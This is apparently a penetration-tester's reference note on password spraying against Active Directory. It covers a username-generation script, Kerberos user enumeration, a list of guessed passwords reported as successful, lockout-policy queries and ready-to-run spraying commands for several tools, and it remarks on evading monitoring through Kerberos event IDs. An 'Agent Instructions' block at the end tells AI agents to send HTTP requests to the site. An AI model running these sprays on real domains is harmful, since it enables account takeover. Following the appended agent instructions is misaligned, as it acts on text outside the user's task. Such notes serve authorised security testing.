# Exploitation - Password spraying

Password spraying refers to the attack method that takes a large number of usernames and attempts authentication with a limited number of likely passwords.

This method avoids accounts lockouts which is usually implemented on Active Directory authentication.

Password spraying all domain users and attempting lateral or vertical movement with the compromised accounts is often more effective than targeting specific users from the get-go.

### Usernames list

**Generated usernames**

The [following Python script](https://gist.github.com/superkojiman/11076951) can be used to generate an usernames list from combinations of first and last names.

```
#!/usr/bin/env python
import sys
import os.path

# Usage: namemash.py <FILE>.
# FILE: FIRSTNAME LASTNAME entries (one per-line).
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: {} names.txt".format((sys.argv[0])))
        sys.exit(0)

    if not os.path.exists(sys.argv[1]):
        print("{} not found".format(sys.argv[1]))
        sys.exit(0)

    for line in open(sys.argv[1]):
        name = ''.join([c for c in line if  c == " " or  c.isalpha()])

        tokens = name.lower().split()

        # skip empty lines
        if len(tokens) < 1:
            continue

        fname = tokens[0]
        lname = tokens[-1]

        print(fname + lname)           # johndoe
        print(lname + fname)           # doejohn
        print(fname + "." + lname)     # john.doe
        print(lname + "." + fname)     # doe.john
        print(lname + fname[0])        # doej
        print(fname[0] + lname)        # jdoe
        print(lname[0] + fname)        # djoe
        print(fname[0] + "." + lname)  # j.doe
        print(lname[0] + "." + fname)  # d.john
        print(fname)                   # john
        print(lname)                   # joe
```

**From domain controllers**

To gather a list of usernames from the domain controllers a domain account is needed.

The `Get-DomainUserList` cmdlet of `DomainPasswordSpray` can be used to enumerate enabled users that would not be locked out by a wrong password guess:

```
Get-DomainUserList` -Domain <DOMAIN> -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii <OUTPUTFILE>
```

To count the number of user in the domain:

```
cat <USERNAMES_FILE> | Measure-Object
```

For more details on possible options, notably to enumerate users from a non enrolled computer, refer to the `Active Directory - Domain Recon` note.

**LDAP Anonymous and NULL bind**

Misconfigured LDAP servers may be exploited to leak the usernames of the domain account. By default, anonymous operations to the Active Directory `Domain Controllers` `LDAP` services, other than `rootDSE` searches and binds, are not permitted. If the seventh character of `DsHeuristics` (`CN=Directory Service, CN=Windows NT,CN=Services,CN=Configuration,<ROOT>`) attribute is set to 2 (0000002), anonymous clients, authenticated through anonymous / NULL LDAP bind, may perform all the operations permitted, as defined by the `Access Control List (ACL)` of the domain objetcs, to `NT AUTHORITY\ANONYMOUS`.

To detect and exploit LDAP Anonymous and NULL bind refer to the `L7 - LDAP` note.

**MSRPC NULL bind on Domain Controllers**

Misconfigured permissions may allow a NULL bind on the `SAMR` or `LSARPC` `RPC` services on a `Domain Controller`, which could be leveraged to enumerate the AD domain user and password policy.

For more information on `MSRPC` NULL bind, refer to the `[L7] MSRPC - Methodology` note.

**Kerberos bruteforce**

`Kerberos` can be used to enumerate domain accounts by making `Ticket-Granting Ticket (TGT)` requests, with no pre-authentication, to the `Key Distribution Center (KDC)` with out the need of having a domain joined account.

Indeed, whenever an username specified for a `TGT` request does not exist, the `KDC` will respond with a `KDC_ERR_C_PRINCIPAL_UNKNOWN` error. If the account does exist, the `KDC` will request a pre authentication before delivering the `TGT` (`KDC_ERR_PREAUTH_REQUIRED`).

Note that if an account has the value `DONT_REQ_PREAUTH` in the `UserAccountControl` attribute, a `TGT` will be delivered with out pre authentication which allows for the offline brute-forcing of the `TGT`. Refer to the `Active Directory - AS-REP Roasting` note for more information on the attack.

`Rubeus` (Zer1to’s fork: <https://github.com/Zer1t0/Rubeus>), `nmap`'s `krb5-enum-users` script, `Kerbrute` and `metasploit`'s `auxiliary/gather/kerberos_enumusers` module can be used to enumerate usernames through `Kerberos`:

```
nmap -v -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='<DOMAIN_FQDN>',userdb=<WORDLIST_USER> <KDC_IP | KDC_HOSTNAME>

kerbrute userenum [--dc <KDC_IP | KDC_HOSTNAME>] -d <DOMAIN> <WORDLIST_USERS>

# Will conduct password bruteforcing as well
Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>

use auxiliary/gather/kerberos_enumusers
```

### Passwords list

For the success of a password attack, a good password list is essential.

The passwords must satisfied the password policy defined for the domain. To retrieve the password policy enforced, refer to the Active Directory - Domain Recon note.

The following passwords have been tried with great success:

```
<COMPANY_NAME><YEAR>
<COMPANY_NAME><YEAR>!
Bonjour<YEAR>
Bonjour<YEAR>!
Azerty1234
Azerty1234!
```

### Password and account lockout policies

The following commands can be used to determine the password and account lockout policies enforced on the domain:

```
# Parsed and human readable password and lockout policies
net accounts
net accounts /domain

# PowerShell
$RootDSE = Get-ADRootDSE
$RootDSE = Get-ADRootDSE -Server <DC> -Credential <PSCredential>
# Password policy
Get-ADObject $RootDSE.defaultNamingContext -Properties minPwdAge, maxPwdAge, minPwdLength, pwdHistoryLength, pwdProperties
# Account lockout policy
Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

# AdFind.exe
AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
```

Default password complexity rule (`pwdProperties : 1`) of Active Directory requires that passwords contain characters from three of the following five categories:

* Uppercase characters of European languages
* Lowercase characters of European languages
* Base 10 digits (0 through 9)
* Nonalphanumeric characters: ``~!@#$%^&*_-+=\`|\(){}[]:;"'<>,.?/``
* Any Unicode character that is categorized as an alphabetic character but is not uppercase or lowercase (includes Unicode characters from Asian languages)

The `badPwdCount` is reset to 0 after:

* the `lockoutObservationWindow` time has completed with out a bad password attempt
* a successful authentication was conducted
* in case of a locked out account, the `lockoutDuration` time has completed or the account was manually unlocked

Note that, for some reason, the `minPwdAge` and `maxPwdAge` password policy properties and the lockout time is expressed in negative nanoseconds and must be divided by "-600000000" to be converted in effective minutes of lockout.

The following PowerShell one-liner can be used to this end:

```
$AccountPolicy = Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

$AccountPolicy | Select @{n="PolicyType";e={"Account Lockout"}}, DistinguishedName, @{n="lockoutDuration";e={"$($_.lockoutDuration / -600000000) minutes"}}, @{n="lockout
ObservationWindow";e={"$($_.lockoutObservationWindow / -600000000) minutes"}}, lockoutThreshold | Format-List
```

**Fined Grained Password Policy enumeration**

Introduced in the `Windows Server 2008` Active Directory functional level, `Fined Grained Password Policy (FGPP)` is a functionality that allow the definition of password complexities and account lockout policies for different groups of users.

Note that while first available in `Windows Server 2008`, administrative tools adapted to the configuration of `FGPP` were released with `Windows Server 2012`.

```
# Enumerates the FGPP configured (including the FGPP's name, the AD group it applies to, password complexity and lockout policy).
Get-ADFineGrainedPasswordPolicy -Filter *

# Lists the users that are not associated to all or a specific FGPP.
$FGPP_groups = @("<FGPP_GROUP>" | "<FGPP_GROUP1>", "<FGPP_GROUP2>")

$FGPP_users = foreach ($group in $FGPP_groups) {
    Get-ADGroupMember -Recursive $group | Select SamAccountName
}

$all_users = Get-ADUser -Filter * | Select SamAccountName

(Compare-Object $all_users $FGPP_users).InputObject
```

### Spraying

**\[Windows] Automated enumeration and spraying**

*smartbrute - Recommended*

[`smartbrute`](https://github.com/ShutdownRepo/smartbrute) is a Python utility that can be used to both conduct unauthenticated and authenticated password spraying (to first retrieve password policies and avoid accounts lock out).

`smartbrute` supports both authentication bruteforce over `NTLM` or `Kerberos` (pre-authentication). `NTLM` authentication failures will generate `4625` failed logon events, while `Kerberos` pre-authentication failures will generate `4771` `Kerberos` pre-authentication failed events.

```
# Unauthenticated password spraying.
smartbrute.py brute -d <DOMAIN> [--no-enumeration] [--line-per-line] <-bu <USERNAME> | -bU <USERNAME_FILE>> <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <ntlm | kerberos>

# Authenticated password spraying to retrieve the password policies and avoid account lockouts.
# AUTH_PROTOCOL & BRUTEFORCE_PROTOCOL can both be ntlm or Kerberos.
smartbrute.py smart [--line-per-line] <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <AUTH_PROTOCOL> -d <DOMAIN> -u <AUTH_KNOWN_USER> -p <AUTH_KNOWN_PASSWORD> <BRUTEFORCE_PROTOCOL>
```

*SharpHose - Recommended*

`SharpHose` is a C# tool that enumerate the AD domain users and password policies, including `fine-grained password policies` (Active Directory domain functional level must be `Windows Server 2012` or newer). The `fine-grained password policies` are linked to the users or groups they apply to in order to precisely determine if an account can be safely bruteforced.

In addition to password spraying, `SharpHose` can be used to enumerate the domain policies or list the users the specified domain policy is applied to.

```
# Sprays the specified password
SharpHose.exe --action SPRAY_USERS --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>
SharpHose.exe --action SPRAY_USERS --domain "<DOMAIN>" --controller "<DC_IP | DC_HOSTNAME>" --username "<USERNAME>" --password "<PASSWORD>" --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>

# Enumerates the domain password policy and domain fine-grained password policies
SharpHose.exe --action GET_POLICIES

# Lists the users the specified password policy is applied to
SharpHose.exe --action GET_POLICY --policy
```

*Invoke-DomainPasswordSpray*

The PowerShell cmdlet `Invoke-DomainPasswordSpray` will generate the usernames list of enabled domain accounts and will automatically attempt to detect the domain's lockout policy. Sprays are restricted to one attempt during the lockout window and accounts that would not be locked out by a wrong password guess.

An optional usernames list file can also be provided.

```
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -Password <PASSWORD> -OutFile <OUTPUTFILE>
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -PasswordList <PASSWORDS_FILE> -OutFile <OUTPUTFILE>
```

**\[Linux] Over SMB**

`spray.sh` is a bash scrip that can be used to carry out Active Directory passwords spraying. It will conduct the brute force over `SMB` using the `rpcclient` utility.

It can use the password policy of the domain as input to prevent accounts lockout.

```
# "skipuu" option to skip trying the username as password
spray.sh -smb <DC_IP> <WORDLIST_USERS> <WORDLIST_PASSWORDS> <ATTEMPTS_PER_LOCKOUT_PERIOD> <LOCKOUT_PERIOD_IN_MINUTES> <DOMAIN> skipuu

# Example
spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS
```

To retrieve the obtained accounts:

```
grep 'Authority Name' logs/spray-logs.txt
grep -v NT_STATUS_LOGON_FAILURE logs/spray-logs.txt
```

**Over Kerberos**

Note that log-on failures over Kerberos do not generate the classical Windows Security Log `Event ID 4625: An account failed to log on`. Indeed, the failures are logged as Windows Security Log `Event ID 4771: Kerberos pre-authentication failed`, that have an higher chance of not being monitored. It will still howerver increment the failed login count and lock out accounts.

`Rubeus` (Zer1to’s fork: <https://github.com/Zer1t0/Rubeus>) and `Kerbrute` can be used to conduct passwords spraying attacks through Kerberos:

```
kerbrute passwordspray [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS> '<PASSWORD>'
# Username and password combinations in the format username:password
kerbrute bruteforce [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS_PASSWORDS>

Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>
```

***

### References

<https://social.technet.microsoft.com/Forums/ie/en-US/79978325-549e-42b3-a532-1e26775982bf/how-to-reset-badpwdcount-value?forum=winserverDS>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/active-directory/exploitation-password_spraying.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
